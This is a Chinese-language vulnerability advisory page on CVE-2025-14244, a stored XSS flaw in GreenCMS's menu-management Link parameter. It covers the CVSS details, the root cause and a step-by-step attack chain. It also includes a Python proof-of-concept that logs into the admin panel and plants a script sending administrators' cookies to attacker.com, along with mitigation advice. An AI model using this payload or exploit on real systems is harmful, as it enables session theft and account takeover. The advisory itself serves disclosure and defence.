IPBUF安全漏洞报告
English
CVE-2025-14244 CVSS 2.4 低危

CVE-2025-14244 GreenCMS菜单管理页面Link参数XSS漏洞

披露日期: 2025-12-08

漏洞信息

漏洞编号
CVE-2025-14244
漏洞类型
跨站脚本攻击(XSS)
CVSS评分
2.4 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
GreenCMS 2.3.0603

相关标签

XSS跨站脚本攻击GreenCMS存储型XSS菜单管理CVE-2025-14244内容管理系统Web应用安全后台管理漏洞

漏洞概述

CVE-2025-14244是GreenCMS内容管理系统中的一个存储型跨站脚本(XSS)漏洞。该漏洞存在于GreenCMS 2.3.0603版本的菜单管理功能中,具体位置在/Admin/Controller/CustomController.class.php文件。攻击者可以通过在菜单管理的Link参数中注入恶意JavaScript代码,当其他管理员访问该菜单页面时,恶意脚本将被执行,从而窃取会话cookie、劫持管理员账户或进行其他恶意操作。由于该漏洞需要高权限用户交互才能触发,且CVSS评分仅为2.4,因此被评定为低危漏洞。值得注意的是,该产品已不再受维护者支持,官方已停止安全更新。漏洞利用代码已在公开渠道发布,攻击者可以轻易获取并利用此漏洞对未修复的系统发起攻击。

技术细节

该漏洞为存储型XSS(Stored XSS),存在于GreenCMS的菜单管理模块中。攻击者通过管理员后台的菜单管理功能,在Link参数中注入恶意JavaScript代码。由于系统未对用户输入进行充分的HTML转义或输入验证,恶意代码被直接存储在数据库中。当其他具有管理员权限的用户访问菜单列表页面时,服务器从数据库读取并回显该数据,浏览器将其解析为可执行脚本并执行。漏洞利用条件包括:1)攻击者需具有GreenCMS后台管理员权限;2)需要诱使其他管理员访问受污染的菜单页面;3)攻击者需要构造包含恶意脚本的Link参数值。攻击者可利用此漏洞窃取管理员会话令牌、修改菜单配置、植入后门或进行横向移动攻击。由于该版本已停止维护,建议用户升级到最新版本或使用WAF进行防护。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先识别目标网站使用的GreenCMS版本,确认版本为2.3.0603,并访问后台登录页面
STEP 2
步骤2: 获取管理员权限
攻击者通过暴力破解、弱口令、社工或其他方式获取GreenCMS后台管理员账户凭据
STEP 3
步骤3: 访问菜单管理功能
使用获取的管理员账号登录后台,导航到菜单管理页面(/Admin/Controller/CustomController.class.php)
STEP 4
步骤4: 注入恶意代码
在菜单管理的Link参数中注入包含恶意JavaScript代码的XSS payload,如<script>document.location='http://attacker.com/?c='+document.cookie</script>
STEP 5
步骤5: 存储恶意代码
提交表单后,恶意代码被存储在数据库中。由于系统未对输入进行过滤,代码直接保存
STEP 6
步骤6: 诱使管理员访问
攻击者诱使其他管理员访问菜单列表页面,或等待管理员自然访问该页面
STEP 7
步骤7: 执行恶意脚本
管理员访问页面时,服务器从数据库读取恶意代码并返回给浏览器,浏览器执行JavaScript脚本
STEP 8
步骤8: 窃取敏感信息
恶意脚本执行后将管理员的Cookie、会话令牌等敏感信息发送到攻击者控制的服务器
STEP 9
步骤9: 账户劫持
攻击者使用窃取的Cookie冒充管理员身份登录后台,执行进一步的攻击操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-14244 PoC - GreenCMS Menu Management XSS # Target: GreenCMS 2.3.0603 # Component: /Admin/Controller/CustomController.class.php # Parameter: Link (Menu Management) TARGET_URL = "http://target.com/greencms/" LOGIN_URL = TARGET_URL + "index.php?m=Admin&c=Public&a=login" MENU_URL = TARGET_URL + "index.php?m=Admin&c=Custom&a=add" # XSS payload - steals admin cookies XSS_PAYLOAD = "<script>document.location='https://attacker.com/log?c='+document.cookie</script>" def login(username, password): """Login to GreenCMS admin panel""" session = requests.Session() data = { 'username': username, 'password': password, 'dosubmit': '1' } resp = session.post(LOGIN_URL, data=data) return session if 'success' in resp.text else None def inject_xss(session): """Inject XSS payload into Menu Management Link parameter""" data = { 'title': 'Malicious Menu', 'link': XSS_PAYLOAD, # Vulnerable parameter 'sort': '0', 'dosubmit': '1' } resp = session.post(MENU_URL, data=data) return resp.status_code == 200 def main(): if len(sys.argv) != 3: print(f"Usage: python {sys.argv[0]} <username> <password>") sys.exit(1) username, password = sys.argv[1], sys.argv[2] session = login(username, password) if session: if inject_xss(session): print("[+] XSS payload injected successfully!") print("[*] Wait for admin to visit menu page") else: print("[-] Failed to inject payload") else: print("[-] Login failed") if __name__ == "__main__": main()

影响范围

GreenCMS 2.3.0603
GreenCMS 所有低于2.3.0603的版本(已停止维护)

防御指南

临时缓解措施
由于GreenCMS已停止维护,官方不再提供安全更新,建议采取以下临时缓解措施:1)使用WAF部署XSS防护规则,过滤<script>标签和事件处理属性;2)在Web服务器层面配置输入过滤,对Link参数中的特殊字符进行转义;3)启用浏览器的XSS过滤器功能;4)对后台管理功能实施IP白名单限制;5)考虑迁移到其他活跃维护的CMS系统;6)如果必须继续使用,建议禁用菜单管理功能或重写相关代码添加输入验证和输出编码。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表